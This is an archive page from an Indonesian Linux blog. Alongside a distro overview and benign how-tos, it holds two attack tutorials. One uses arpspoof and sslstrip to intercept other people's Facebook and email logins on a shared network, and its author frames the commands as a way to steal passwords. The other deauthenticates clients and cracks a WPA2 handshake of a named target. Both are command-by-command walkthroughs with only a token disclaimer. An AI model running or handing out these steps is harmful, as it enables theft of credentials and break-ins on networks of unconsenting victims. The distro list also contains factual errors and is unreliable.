Tampilkan postingan dengan label Linux. Tampilkan semua postingan
Tampilkan postingan dengan label Linux. Tampilkan semua postingan
Rabu, 29 April 2015
DAFTAR DISTRO LINUX TERPOPULER
Distro Linux (singkatan dari distribusi Linux) adalah sebutan untuk sistem operasi komputer dan aplikasinya, merupakan keluarga Unix yang menggunakan kernel Linux. Distribusi Linux bisa berupa perangkat lunak bebas dan bisa juga berupa perangkat lunak komersial seperti Red Hat Enterprise, SuSE, dan lain-lain.
Kernel adalah bagian dari sebuah Software yang menyediakan sebuah lapisan antara Hardware dengan Software yang sedang aktif atau lebih tepatnya jembatan antara Software dan Hardware. Dalam Dunia Komputer, istilah Linux selalu merujuk pada istilah Kernel, yang ditulis Linus Torvald pada awal 1990-an. Semua bagian yang ada pada distribusi Linux KDE window manager, Bash shell, web browser, X server, dan lain-lain hanyalah Software yang berjalan pada Linux.
Ada banyak distribusi atau distro Linux yang telah muncul. Beberapa bertahan dan besar, bahkan sampai menghasilkan distro turunan, contohnya Distro Debian GNU/Linux. Distro ini telah menghasilkan puluhan distro anak, antara lain Ubuntu, Knoppix, Xandros, DSL, dan sebagainya
1. Ubuntu - arti Ubuntu diketahui hampir semua geek, definisinya adalah "sebuah kata Afrika yang berarti 'kemanusiaan untuk semuanya' atau 'saya dibentuk oleh kita semua'. Distribusi Ubuntu membawa semangat Ubuntu ke dunia perangkat lunak." Ubuntu adalah salah satu distribusi Linux yang berbasiskan pada Debian dan memiliki interface desktop. Proyek Ubuntu disponsori oleh Canonical Ltd (perusahaan milik Mark Shuttleworth). Nama Ubuntu diambil dari nama sebuah konsep ideologi di Afrika Selatan. �Ubuntu� berasal dari bahasa kuno Afrika, yang berarti �rasa perikemanusian terhadap sesama manusia�. Ubuntu juga bisa berarti �aku adalah aku karena keberadaan kita semua�. Tujuan dari distribusi Linux Ubuntu adalah membawa semangat yang terkandung di dalam Ubuntu ke dalam dunia perangkat lunak.
Ubuntu adalah sistem operasi lengkap berbasis Linux, tersedia secara bebas dan mempunyai dukungan baik yang berasal dari komunitas maupun tenaga ahli profesional. Ubuntu sendiri dikembangkan oleh komunitas sukarelawan Ubuntu dan kami mengundang Anda untuk turut serta berpartisipasi mengembangkan Ubuntu!
Komunitas Ubuntu dibentuk berdasarkan gagasan yang terdapat di dalam filosofi Ubuntu:
� bahwa perangkat lunak harus tersedia dengan bebas biaya
� bahwa aplikasi perangkat lunak tersebut harus dapat digunakan dalam bahasa lokal masing-masing dan untuk orang-orang yang mempunyai keterbatasan fisik, dan
� bahwa pengguna harus mempunyai kebebasan untuk mengubah perangkat lunak sesuai dengan apa yang mereka butuhkan.
Perihal kebebasan inilah yang membuat Ubuntu berbeda dari perangkat lunak berpemilik (proprietary); bukan hanya peralatan yang Anda butuhkan tersedia secara bebas biaya, tetapi Anda juga mempunyai hak untuk memodifikasi perangkat lunak Anda sampai perangkat lunak tersebut bekerja sesuai dengan yang Anda inginkan.
Berikut ini adalah komitmen publik tim Ubuntu untuk para penggunanya:
� Ubuntu akan selalu bebas dari biaya, maka dari itu tidak akan ada biaya tambahan untuk �edisi enterprise�, kami akan membuat semua pekerjaan terbaik Ubuntu tersedia untuk semua orang dengan istilah Bebas yang sama.
� Ubuntu juga menyediakan dukungan komersial dari ratusan perusahaan di seluruh dunia. Ubuntu dirilis secara tetap dan dapat Anda prediksikan; rilis Ubuntu terbaru tersedia setiap enam bulan. Setiap rilis akan didukung oleh Ubuntu dengan perbaikan pada keamanan dan perbaikan lainnya secara bebas selama sekurangnya 18 bulan.
� Ubuntu akan menyertakan terjemahan dan prasarana aksesibilitas terbaik yang dimiliki oleh komunitas Perangkat Lunak Bebas, hal ini berguna untuk membuat Ubuntu dapat dipergunakan oleh banyak orang. Kami juga bekerja sama dengan seluruh komunitas [Perangkat Lunak Bebas] dalam hal perbaikan bug dan saling membagi kode.
� Ubuntu berkomitmen secara penuh terhadap prinsip-prinsip dari pengembangan perangkat lunak bebas; untuk ini kami mendorong masyarakat untuk menggunakan perangkat lunak bebas dan open source, lalu memperbaikinya dan kemudian menyebarkannya kembali.
Ubuntu cocok digunakan baik untuk desktop maupun server. Ubuntu saat ini mendukung berbagai arsitektur komputer seperti PC (Intel x86), PC 64-bita (AMD64), PowerPC (Apple iBook dan Powerbook, G4 dan G5), Sun UltraSPARC dan T1 (Sun Fire T1000 dan T2000). Ubuntu menyertakan lebih dari 16.000 buah perangkat lunak, dan untuk instalasi desktop dapat dilakukan dengan menggunakan satu CD saja. Ubuntu menyertakan semua aplikasi standar untuk desktop mulai dari pengolah kata, aplikasi lembar sebar (spreadsheet) hingga aplikasi untuk mengakses internet, perangkat lunak untuk server web, peralatan untuk bahasa pemrograman dan tentu saja beragam permainan. (diambil dari www.ubuntu-id.com)
2. PCLinuxOS - cukup jelas, nama ini berasal dari PC + Linux + Operating System. PCLinuxOS memiliki GUI yang mirip dengan Windows untuk memudahkan transisi pemakai ke Linux. Oleh karena itu mereka menggunakan kata PC (walaupun sebenarnya PC tidak ekslusif untuk Windows).
3. openSUSE - adalah sebuah proyek SUSE open source yang disponsori Novell dan AMD. SUSE adalah akronim dalam bahasa Jerman untuk "Software- und System-Entwicklung" (pengembangan perangkat lunak dan sistem). Akan tetapi ada juga yang mengatakan bahwa nama SUSE dipakai untuk menghormati insinyur Konrad Zuse. openSUSE sebelumnya bernama SUSE Linux dan SuSE Linux Professional .SUSE Linux adalah salah satu distro Linux utama yang dibuat di Jerman. SUSE Linux aslinya merupakan terjemahan dalam bahasa Jerman dari Slackware. Perusahaannya sekarang ini dimiliki oleh Novel, Inc. S.u.S.E adalah singkatan dari kalimat dalam bahasa Jerman �Software- und System-Entwicklung� (�Perangkat lunak dan pengembangan sistem�), tetapi ada informasi tidak resmi yang mengatakan bahwa S.u.S.E dihubungkan dengan ilmuwan komputer Jerman Konrad Zuse.
TURBO LINUX
Turbo Linux merupakan salah satu distro Linux yang diminati oleh perusahaan dan perorangan di Jepang dan Asia. Produk berbasis Linux dengan kinerja tinggi ini dimanfaatkan untuk pasar workstation dan server terutama untuk penggunaan clustering dan orientasinya ke perusahaan. Beberapa produk-produknya: TurboLinux Workstation untuk dekstopnya, TurboLinux Server untuk backend server dengan kinerja tinggi terutama untuk penggunaan bisnis di perusahaan, e-commerce dan transaksi B2B (Business-to-Business).
4. Fedora - adalah sebuah proyek Linux komunitas yang disponsori Red Hat. Nama "Fedora" ini diambil dari jenis topi (fedora) yang dipakai oleh pria di logo Red Hat. Fedora (sebelumnya bernama Fedora Core, terkadang disebut juga dengan Fedora Linux) adalah sebuah distro Linux berbasis RPM dan yum yang dikembangkan oleh Fedora Project yang didukung oleh komunitas pemrogram serta disponsori oleh Red Hat. Nama Fedora berasal dari karakter fedora yang digunakan di logo Red Hat. Pada rilis 1 sampai 6 distro ini bernama Fedora Core yang kemudian berubah menjadi Fedora pada rilis ke-7.
5. Mandriva - distribusi Linux ini berasal dari Mandrake Linux yang dibuat oleh MandrakeSoft, akan tetapi MandrakeSoft kalah dari Hearst Corporation dalam hak penggunaan nama "Mandrake." MandrakeSoft kemudian membeli Connectiva, dan hasil pencampuran ini disebut Mandriva. Mandriva Linux (dahulu dikenal dengan nama Mandrakelinux atau Mandrake Linux) adalah sistem operasi yang dibuat oleh Mandriva (dahulu dikenal dengan nama Mandrakesoft).Mandriva Linux menggunakan RPM Package Manager.Linux-Mandrake adalah salah satu distro turunan dari Red Hat Linux yang menyediakan banyak pengembangan dan aplikasi �pre-configured� dan didukung banyak bahasa di seluruh dunia. Distro ini dikenal mudah untuk pemula dan cocok untuk kelas desktop tapi tidak menutup kemungkinan untuk dijadikan platform pada server. Optimasi untuk prosesor kelas Pentium ke atas membuat Linux-Mandrake dapat berjalan dengan baik pada platform tersebut.
6. Sabayon - sebuah distribusi yang dibuat di Trentino, Italia dan dinamakan mengikuti nama sebuah hidangan penutup Italia yang disebut Sabayon. Sabayon dibuat dari telur kuning, gula dan alkohol manis.
7. Debian - pertama kali diperkenalkan Ian Murdock di tahun 1998. Nama Debian sendiri diambil dari nama pacarnya (sekarang istri) Debra dan namanya Ian. Debian adalah sistem operasi berbasis kernel Linux. Debian termasuk salah satu sistem operasi Linux yang bebas untuk dipergunakan dengan menggunakan lisensi GNU.Debian GNU/Linux adalah distro non komersial yang dihasilkan oleh para sukarelawan dari seluruh dunia yang saling bekerjasama melalui Internet. Distro ini menginginkan adanya semangat open-source yang harus tetap ada pada Debian. Kedinamisan distro ini membuat setiap rilis paket-paketnya di-update setiap waktu dan dapat diakses melalui utilitas apt-get. Apt-get adalah sebuah utilitas baris-perintah yang dapat digunakan secara dinamis untuk meng-upgrade sistem Debian GNU/Linux melalui apt-repository jaringan archive Debian yang luas. Milis dan forum debian selalu penuh dengan pesan-pesan baik mengenai bug, masalah, sharing, dll. Dengan adanya sistem komunikasi ini bug dan masalah keamanan pada tiap paket dapat dilaporkan oleh para pengguna dan pengembang Debian dengan cepat. Debian adalah �kernel independen�, yaitu sistem operasi Debian dikembangkan murni tanpa mendasarkan pada sistem operasi yang telah ada.Keuntungan dari Debian adalah upgradability, ketergantungan antar paket didefinisikan dengan baik, dan pengembangannya secara terbuka.
8. Damn Small Linux - sesuai dengan namanya. Damn Small Linux(DSL) adalah salah satu distro/varian linux mini. Disebut mini karena paket DSL cuma 50MB besarnya. DSL juga memungkinkan untuk diinstall di USB 128MB.
9. MEPIS - menurut pencipta MEPIS Warren Woodford, MEPIS tidak berarti apapun, ia hanya salah mendengar temannya yang berbicara melalui koneksi Skype yang buruk, dan menyukai nama ini.
10. FreeBSD - memang secara teknis bukan Linux, tetapi mereka tetap bersaudara dan menduduki peringkat 11 di distrowatch. BSD adalah sebuah turunan Linux yang dikembangkan di University of California Berkeley. BSD sendiri adalah akronim untuk Berkeley Software Distribution. FreeBSD adalah saudara dari distro BSD.
11. CentOS - berbasis Red Hat Enterprise Linux (RHEL) dan merupakan akronim dari Community Enterprise Operating System. CentOS adalah sistem operasi bebas yang didasarkan pada Red Hat Enterprise Linux (RHEL).
CentOS singkatan dari Community ENTerprise Operating System (Sistem Operasi Perusahaan buatan Komunitas/Masyarakat).
12. DreamLinux - sebuah distro turunan Debian berasal dari Brazil dan berpenampilan sangat mirip dengan Mac OS X. Tidak ada sejarah di belakang nama ini, hanya campuran dari dream dan Linux.
13. Puppy Linux - sebuah distribusi live CD yang mengutamakan kemudahan pakai. Distro ini memiliki maskot yang bernama "Puppy" yang merupakan seekor Chihuahua asli. Puppy Linux adalah salah satu distro Linux Live CD yang sangat kecil ukurannya dan mengutamakan kemudahan dalam penggunaan.
Seluruh sistem operasi dan aplikasinya berjalan dalam RAM, yang membolehkan media booting dilepas setelah sistem operasi berhasil dijalankan.
14. Kubuntu - hanya KDE + Ubuntu saja.
15. Zenwalk - cukup membingungkan. Saat mengunjungi situs mereka, tagline mereka berbunyi "ever tried zen computing?," jadi bagian Zen sudah jelas. Tetapi bagian "walk" dengan logo lumba - lumba? Lumba - lumba bahkan tidak dapat berjalan. Saya menulis email kepada JP Guillemin, pencipta distro tersebut untuk meminta penjelasannya. Jawabannya: "Hi, Zenwalk digunakan agar berbunyi mirip seperti Nextstep, Os terkenal yang diciptakan Steve Jobs saat dipecat oleh Apple."
16.Slackware - diciptakan oleh Patrick Volkerding. Slackware pada awalnya adalah sebuah proyek pribadi, dan agar tidak menjadi serius, Patrick menamakan proyek ini "slack" dari Church of SubGenius yang berarti keadaan di mana seseorang menggunakan energi seminim mungkin untuk hidup. Distro ini merupakan distro buatan Patrick Volkerding dari Slackware Linux, Inc. yang terkenal pertama kali setelah SLS. Slackware merupakan salah satu distro awal, dan merupakan yang tertua yang masih dikelola Tujuan utama Slackware adalah stabilitas dan kemudahan desain, serta menjadi distribusi Linux yang paling mirip Unix,sederhana, stabil, mudah dikustom, dan didesain untuk komputer 386/486 atau lebih tinggi. Distro ini termasuk distro yang cryptic dan manual sekali bagi pemula Linux, tapi dengan menggunakan distro ini beberapa penggunanya dapat mengetahui banyak cara kerja sistem dan distro tersebut. Slackware adalah tertua yang masih tegar bertahan di segala jaman. Baru-baru ini merilis generasi barunya Slackware versi 11 diantara gelombang peluncuran distro-distro besar lainnya seperti Mandriva 2007 dan tidak lama lagi Fedora 6.
17. Knoppix - sebuah distro Live CD yang diciptakan Klaus Knopper dan dinamakan berdasarkan namanya sendiri. Knoppix merupakan distro Linux live-cd yang dapat dijalankan melalui CD-ROM tanpa menginstalnya di hard-disk. Distro ini berbasis Debian Linux dan diciptakan oleh Klaus Knopper. Aplikasinya sangat lengkap dan cocok untuk demo atau belajar Linux bagi yang belum mempunyai ruang pada hard-disknya, dapat juga untuk CD rescue. Kelemahan dari knoppix adalah diperlukannya memori yang besar untuk menggunakan modus grafisnya yaitu 96 MB walaupun bisa juga dijalankan pada memori 64 MB dengan swap pada hard-disk seperti pengalaman penulis tapi Anda perlu sedikit bersabar. Distro ini berbasis Debian GNU/Linux.
18. Gentoo - distro berbasis source code yang semua aplikasi harus dikompilasi dari awal untuk memaksimalkan kecepatan. Fakta ini mengubah namanya (pada awalnya Enoch) menjadi Gentoo, yaitu jenis penguin perenang tercepat. Gentoo Linux adalah suatu distribusi Linux yang memakai paket sistem manajemen Portage. [Bandingkan dengan: Debian yang menggunakan paket .deb, RedHat / Mandrake yang menggunakan paket .rpm].
Manajemen paket ini dirancang untuk modular (mudah ditambah-tambah), portabel (dapat di port ke distro lain), mudah ditata, fleksibel, dan dioptimalkan untuk masing-masing komputer pengguna.
19. Slax - sebuah distro Live CD berbasis Slackware, begitu juga namanya.
20. Sidux - sebuah distro Linux berbasis versi unstable Debian dengan kode nama "Sid" yang diambil dari karakter Sid Phillips di Toy Story, biasanya menghancurkan dan menyiksa mainan adiknya Hannah. Siapa bilang geek tidak memiliki selera humor.
21. Ubuntu Studio - hanya sebuah turunan Ubuntu yang dikhususkan untuk produksi multimedia.
22. PC-BSD - sebuah distro berbasis BSD, dibuat untuk kemudahan instalasi dengan program GUI dan mudah dipakai dengan desktop KDE sebagai pilihan default, sehingga diberikan nama PC di depannya.
23. Xubuntu - XFCE + Ubuntu.
24. Foresight - sebuah distro yang menggunakan Conary sebagai package manager yang memiliki fitur rolling update, tidak seperti kebanyakan distro yang hanya memberikan update besar dua kali setahun. Sebagai contoh, saat Banshee 1.0 muncul bulan depan, para pemakai Foresight akan memiliki aplikasi terbaru ini dalam waktu kurang dari 1 minggu, sedangkan para pemakai Ubuntu harus menunggu hingga bulan Oktober. Nama Foresight diambil karena anda akan mendapatkan aplikasi terlebih dahulu dibandingkan distro - distro lain.
25. DesktopBSD - dari situsnya: "DesktopBSD bertujuan menjadi OS stabil dan kuat untuk para pemakai desktop.
26. Red Hat - nama dan logo ini memiliki beberapa cerita yang sangat menarik. Cerita - cerita ini akan dijelaskan oleh salah satu penemu Red Hat Bob Young. Red Hat adalah distro yang cukup populer di kalangan pengembang dan perusahaan Linux. Dukungan-dukungan secara teknis, pelatihan, sertifikasi, aplikasi pengembangan, dan bergabungnya para hacker kernel dan free-software seperti Alan Cox, Michael Johnson, Stephen Tweedie menjadikan Red Hat berkembang cepat dan digunakan pada perusahaan. Poin terbesar dari distro ini adalah Red Hat Package Manager (RPM). RPM adalah sebuah perangkat lunak untuk memanajemen paket-paket pada sistem Linux kita dan dianggap sebagai standar de-facto dalam pemaketan pada distro-distro turunannya dan yang mendukung distro ini secara luas.
27. OpenGEU - pada awalnya dinamakan Geubuntu, yaitu sebuah distro berbasis Ubuntu yang menggunakan GNOME dan Enlightenment sebagai window manager ("G" dan "E"). Akan tetapi karena beberapa masalah legal, kemudian nama ini diubah menjadi OpenGEU.
28. Elive - salah satu distro berbasis Debian yang menggunakan Enlightenment sebagai window manager.
29. Freespire - di bulan Agustus 2005, sebuah distro Live CD berbasis Linspire dinamakan Freespire dipublikasikan di internet secara tidak sengaja. Distro ini pada akhirnya berevolusi menjadi distro sendiri. Linspire pada awalnya dinamakan "Lindows" akan tetapi salah seorang karyawan divisi legal Microsoft melanggar merk "Windows" mereka dan mengajukan tuntutan. Microsoft akhirnya kalah di pengadilan, kemudian mereka memutuskan untuk membayar $20 juta kepada Lindows untuk mengganti namanya menjadi Linspire. Freespire adalah versi gratis dari distro Linspire (a.k.a Lindows), kemudian mungkin dikarenakan permasalahan nama, berubah menjadi Linspire.
30. Frugalware - saya tidak dapat menemukan sejarah nama yang terdokumentasi, akan tetapi kemungkinan besar nama ini diambil dari frugality yang berarti filosofi di mana seseorang tidak percaya kepada pengetahuan "ahli" dari pasar komersiil atau kebudayaan korporat.
31. Fluxbuntu - lagi - lagi distro berbasis Ubuntu. Kali ini menggunakan Fluxbox sebagai window manager.
32. Xandros - diambil dari nama X Windows system dan kepulauan Yunani Andros. Xandros Linux adalah sebuah distro Linux yang berdasarkan pada sistim KDE. Tampilannya sangat mirip dengan Microsoft Windows, jadi apabila dioperasikan sangat mudah dan nyaman. Tetapi, Xandros memiliki integrasi lebih baik dengan jaringan Windows, mampu menjalankan aplikasi OfficeXP, mampu meresize partisi NTFS saat instalasi, dll. Xandros juga bukan merupakan produk gratis tetapi komersial.
Secara singkat Xandros menawarkan kelebihan berikut:
~ Lima langkah instalasi grafis yang mudah
~ Manajemen partisi terintegrasi
~ Tampilan yang familiar
~ Aplikasi berkualitas dari para engineer Xandros
~ Kompatibilitas dengan file format Microsoft
33. TinyME - sebuah distro berbasis PCLinuxOS yang kecil, namanya diambil dari dua kata "tiny" dan "me".
34. gOS - sebuah distro berbasis Ubuntu yang memiliki integrasi kuat dengan aplikasi Google, huruf "g" ini diambil dari Google. gOS adalah kepanjangan dari 'Good OS LLC' yaitu nama perusahaan yang membuat distro ini.
35. Backtrack- sebuah distro security dan penetration testing yang memiliki berbagai alat security dan forensik. Nama ini diambil dari kegunaan distro ini, yaitu "back tracing" (menelusuri ulang) sang pengganggu.
36. KULIAX - Kuliax adalah sebuah distribusi Linux LiveCD yang dikembangkan oleh Kuliax Project untuk pendidikan di universitas. Distribusi ini berbasis Debian GNU/Linux dan Knoppix, serta telah dioptimasi ke arah penggunaan desktop Linux.
37.LYCORIS - Lycoris adalah distro linux yang telah membuat versi linux yang cantik dan menyerupai WinXP, dari segi warna,icon, maupun kemudahan-kemudahan yang ada. Dari tampilan-tampilan screenshot pada situsnya Anda dapat mengamati bahwa memang Lycoris merupakan distro Linux yang pintar mempercantik diri sehingga dengan menggunakan Lycoris Anda akan merasa bekerja dengan Windows XP. Bahkan OpenOffice yang dipaketkan dengan Lycoris memiliki icon-icon yang cantik dan khas Lycoris. Lycoris memiliki paket-paket yang berbeda, dan paket distro Linuxnya dinamakan Desktop /LX. Lycros memiliki fasiltias IRIS yaitu Internet Rapid Installer for Software untuk mengupdate Linux Anda dengan software-software baru. Hanya saja distro ini tidaklah gratis dan Anda perlu membayar dengan sejumlah �dollar US�.
38. LINDOWS- Lindows masih kalah dibanding Lycoris dalam segi kecantikan tampilan tetapi Lindows telah lebih matang dan telah mencapai versi 4.0. Fasilitas yang menarik dari Lindows adalah Click-n-Run yaitu fasilitas mendapatkan ribuan software Linux yang sudah dikonfigurasi untuk Lindows dengan sekali klik dan proses instalasi ini juga dapat menambahkan shortcut di desktop dan daftar program secara otomatis.Lindows juga merupakan produk komersial.
39. LINARE - Linare memiliki distro Linux khusus desktop dan paket CPU yang sudah terinstall Linare. Linare masih jarang terdengar dan merupakan pendatang baru. Linare juga merupakan produk komersial
Minggu, 05 April 2015
HACK AKUN FACEBOOK DENGAN KALI LINUX

Pertama-tama siapkan tool yang akan kita gunakan
Arpspoof
Sslstrip-0.9
OS Linux 32 Bit
Setelah semua tool yang di butuhkan sudah tersedia lakukan langkah berikut (jika paket belum terinstal) :
1) Buka Terminal kemudian ketikkan : wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
2) Kemudian extract file dengan cara : tar zxvf sslstrip-0.9.tar.gz
3) Ok sekarang kita masuk ke dalam folder baru dari file yang telah kita extract tadi : cd sslstrip-0.9
4) Dan untuk menginstal ketikkan : python setup.py install
Lakukan langkah berikut ( Jika paket sudah terinstall )
Gunakan cara ini setiap kali jika ingin mencuri password lagi
1) Pertama hidupkan terlebih dahulu port untuk memforward : echo ’1′ > /proc/sys/net/ipv4/ip_forward
2) Kemudian cari gateway atau pintu dari jaringan yang akan kita sadap dengan cara : netstat -nr
3) sekarang kita reset port http ke port 8080, ketikan : iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
4) Mulai menyadap dengn cara : arpspoof -i wlan0 192.168.0.1 ( 192.168.0.1) adalah gateway dari jaringan yang saya gunakan, gantilah gateway tersebut dengan gateway yang anda temukan dari netstat -nr tadi)
5) Kemudian buka terminal baru lalu ketikkan : sslstrip -l 8080 untuk mengaktifkan cookies yang akan kita baca
6) Set up is complete!! Ok sekarang kita telah menyadap akses jaringan yang melewati gateway.
7) jika anda ingin melihat akses kemana sajakah itu gunakan perintah : tail -f sslstrip.log
8) dan saat ada seseorang melakuakn login entah facebook yahoo gmail atau apapun yang menggunakan username dan password WALAAA kita akan mengetahuinya.
karena akan memakan waktu yang cukup lama karena harus menunggu ada seseorang yang mlakukan login jadi kita harus bersabar. dan itupun akan muncul script yang cukup banyak. gunakan perintah find "pass: tanpa petik agar kita lebih mudah menemukannya
HANYA UNTUK PENGETAHUAN, JANGAN DI SALAH GUNAKAN YA KAWAN :D
sekian Tricks Hacking dari saya, semoga berhasil gan :D
MEMAINKAN MUSIK DI TERMINAL LINUX
Di Linux kita tidak hanya bisa memutar file musik kesayangan anda menggunakan aplikasi berbasis GUI tapi kita juga bisa memakai terminal . Terasa seperti programmer handal atau pun para hacker. Pertama � tama kita harus menginstall terlebih dahulu aplikasi bernama sox untuk memainkan file seperti ogg, wav dll dan untuk file mp3 kita bisa menggunakan mpg123 atau ffmpeg.Untuk menginstall mpg123 ketikkan perintah berikut di terminal anda. Catatan anda harus mempunyai koneksi internet atau mempunyai DVD repo yang sudah siap digunakan jika anda tidak punya keduannya bisa cari di repo kambing dengan browsing di warnet dan download file mpg123.
najat@najat-desktop:~$ sudo su
[sudo] password for najat:
root@najat-desktop:/home/najat# sudo apt-get install mpg123
jika sudah terinstall maka anda bisa menggunakannya dengan mengetikkan
root@najat-desktop:/home/najat/Music# mpg123 *mp3
Catatan anda terlebih dahulu membuka dir musik anda atau folder yang berisi file musik
dan mpg123 hanya mendukung file mp3 jadi untuk file lainnya anda bisa menggunakn sox
cara installnya sama anda tinggal mengetikkan
sudo apt-get install sox
untuk memainkan file musik anda tinggal ketikkan
play <namafile> .ogg atau anda juga bisa menggunakan play *.ogg
sebaiknya membaca manualnya terlebih dahulu untuk mengetahui fitur lainnya yang ada seperti untuk memindahka lagu anda bisa menekan Ctrl -C dan untuk berhenti tekan Ctrl-C dua kali ata melakukan control lainnya untuk di mpg123 kita bisa mengetikkan perintah
mpg123 -C -z *mp3
yang artinya untuk memainkan file secara acak(random) dan memiliki akses kontrol untuk membesarkan/mengecilkan volume suara dengan menekan +/-, f untuk forward dan lain sebagainya .
Untuk membaca manualnya ketikkan saja
man mpg123 untuk melihat manual dari mpg123 atau man sox untuk melihat manual sox.
Happy Music on your terminal >_
CARA CRACK PASSWORD WPA DENGAN LINUX
Setelah anda puas berhasil menghack WEP dengan Backtrack kini anda akan saya bawa untuk mengetahui cara hacking WLAN / Hotspot yang berenkripsi WPA.ok langsung ya
buka terminal pada backtrack
lalu hidupkan mode monitornya disini interface saya wlan0
airmon-ng start wlan0setelah aktif mode monitornya sekarang waktunya scanning wifi yang akan di bobol passwordnya
ketikkan perintah
airodump-ng mon0
terus cari wifi yang terkunci dengan enkripsi wpa2
disini saya akan menyerang wifi trojanzboy@wifi
ketikkan perintah
airodump-ng -w wpa2 -c 1 --bssid 94:0C:6D:EE:C2:3F mon0
ket: -w wpa2 = hasil capturing nantinya(bisa diganti namanya)
-c 1 = channel yang digunakan broadcast hotspot
--bssid 94:0C:6D:EE:C2:3F = mac address hotspot
mon0= mode monitor interface
Jika dibarisan bawah terdapat station client yang terhubung dengan AP
selanjutnya yaitu saatnya kita mengirim perintah deauthentifikasi sebuah client yang terhubung caranya, buka terminal baru ketikan :
aireplay-ng --deauth 10 -a 94:0C:6D:EE:C2:3F -c 94:20:53:D5:09:65 mon0
Ket= --deauth 10 = mode penyerangan sampai 10x
-a = mac adress hotspot
-c = client yang terhubung hotspot yaitu
ketika mengirim perintah deauth maka si client akan terputus dari hotspot tunggu sampai client konek lagi.Dan kamu akan mendapatkan WPA handshake
ket : hacking wpa2 tidak memerlukan banyak paket seperti hack wep.Kita hanya mencari handshake nya saja
Jika belum dapat handshake lakukan deauthentifikasi client lagi biar tidak usah mengetik ulang perintahnya anda cukup menekan tombol panah atas pada keyboard untuk mengulang perintah terakhir.
Namun sayangnya data yang kita terima (dari Capturan) masih terenkripsi, saat tutorial ini dibuat software aircrack-ng belum dapat membuka enkripsi tersebut akan tetapi hanya bisa menyamakan dan mencocokan binary-nya dengan bantuan kamus.
Tunggu sampai mendapatkan WPA handshake biarkan client mengkoneksikan lagi wifinya ke hotspot yang diserang apabia client sudah konek lagi maka kamu akan mendapatkan wpa handshake
Setelah dapat handshake saatnya kita mencocokan binary yang tercapture dengan bantuan kamus, buka Terminal ketikkan
aircrack-ng -w '/root/Desktop/TrojanzBoyword.txt' wpa2-01.cap
keterangan :
-w '/root/Desktop/TrojanzBoyword.txt' = Letak wordlist/dictionary saya namakan TrojanzBoy.txt
wpa2-01.cap = hasil capture pada airodump-ng tadi
tunggu sampai wordlist/kamus mencocokkan hasil capturing tadi apabia berhasil maka kunci/key akan terpecahkan
Untuk memecahkan password wpa2 harus menggunakan wordlist atau kamus yang benar-benar akurat dan dibutuhkan kesabaran
apabila anda tidak punya wordlist bisa gunakan crunch atau yang lainya
cara menggunkan crunch bisa dilihat di http://trojanzboy.blogspot.com/2012/11/membuat-wordlist-akurat-dengan-crunch.html
Minggu, 29 Maret 2015
MENJALANKAN LINUX DI ANDROID
Backtrack adalah salah satu OS pentesting yang banyak diminati, baik oleh para pemula maupun orang yang sudah lama bergelut di dunia hacking. karena aplikasi didalamnya sudah lengkap dengan tools-tools hacker, serta tutorialnya pun sudah banyak menyebar di internet. sedangkan Ubuntu dan Debian adalah os desktop yang sangat populer baik untuk pemula maupun yang sudah master. pada awalnya backtrack, ubuntu maupun debian hanya dikhususkan untuk pc/laptop, tapi seiring perkembangan gadget/smartphone yang sangat cepat, sekarang ketiganya sudah bisa dijalankan di smartphone yang ber os android.
Maksud di instal disini yaitu menjalankannya melalui aplikasi virtual atau semacamnya, jadi disini android anda tidak akan tertimpa oleh os linux dan tidak pula terdual boot, tetapi hanya dijalankan melalui virtual sama halnya ketika anda menggunakan virtual box untuk menjalankan os lainnya di komputer anda.
Setelah mendapatkan beberapa arahan dari teman facebook akhirnya sayapun dapat menjalankan os linux di perangkat android saya. Adapun linux yang terinstal di hp saya yaitu backtrack karena memang saya penggemar os Pentesting. Jadi disini tutorialnya menggunakan Backtrack, namun semua caranya sama dengan os linux lainnya.
spesifikasi minimum
1. Hp android dengan kapasitas minimum 1Ghz prosesor
2. Ram minimum 512 mb (disarankan 1GB)
3. Ponsel yang Telah di root (anda bisa lihat cara root android di artikel saya sebelumnya DISINI)
4. Sdcard atau Memori Internal dengan minimal kapasitas 3.5 gb free atau tergantung dari besar kapasitas android yang anda download setelah di ekstrak.
1. Hp android dengan kapasitas minimum 1Ghz prosesor
2. Ram minimum 512 mb (disarankan 1GB)
3. Ponsel yang Telah di root (anda bisa lihat cara root android di artikel saya sebelumnya DISINI)
4. Sdcard atau Memori Internal dengan minimal kapasitas 3.5 gb free atau tergantung dari besar kapasitas android yang anda download setelah di ekstrak.
tools yang dibutuhkan
Complete Linux, untuk download semua bahan untuk instal linux di android--> Download Melalui PlayStore.Linux yang akan di instal di android (ubuntu, debian, backtrack/kali linux, fedora, open suse), bisa didownload dari complete linux atau langsung download di web nya linux on android(pilih salah satu linux yang ingin anda download).Script SH --> DownloadBusyBox, SuperSU, Terminal Emulator, Remote Vnc --> DownloadBaca Juga: Cara Membuka Situs/Web Yang Diblokir Di Perangkat Android.
Complete Linux, untuk download semua bahan untuk instal linux di android--> Download Melalui PlayStore.Linux yang akan di instal di android (ubuntu, debian, backtrack/kali linux, fedora, open suse), bisa didownload dari complete linux atau langsung download di web nya linux on android(pilih salah satu linux yang ingin anda download).Script SH --> DownloadBusyBox, SuperSU, Terminal Emulator, Remote Vnc --> DownloadBaca Juga: Cara Membuka Situs/Web Yang Diblokir Di Perangkat Android.
catatan: Sebenarnya anda bisa dengan mudah menjalankan linux lewat aplikasi Complete Linux Installer, namun saya ingin anda mengerti prosesnya sehingga saya membuatkan tutorial yang sedikit lebih rumit yaitu dari proses awal hingga sampai linux jalan di android anda.
Cara Menjalankan atau Instal Linux (Ubuntu / Debian / Backtrack) di Handphone Android:
1. disini saya sudah anggap android anda sudah di root, jika belum silahkan kembali ke google dan cari kembali cara root android anda. Atau lihat artikel saya lainnya yang membahas Cara Root Semua Tipe Hp Android.
2. instal semua apikasi yang sudah di download diatas ke android anda
3. ekstrak linux untuk android (backtrack / debian / ubuntu), karena yang saya download adalah backtrack, maka setelah di ekstrak menjadi backtrack.img
4. ekstrak boot script. karena yang mau saya instal backtrack maka boot script yang saya pilih adalah backtrack.sh
5. buatkan folder di /sdcard dengan nama "linux" dan copy linux untuk android dan boot script yang sudah di ekstrak ke folder yang tadi sudah dibuat di sdcard
6. jalankan terminal emulator dan ketik
su
cd /sdcard/linux
sh backtrack.sh --->ketikkan sesuai boot script yg anda ingin instal, misalnya ubuntu.sh/debian.sh
cd /sdcard/linux
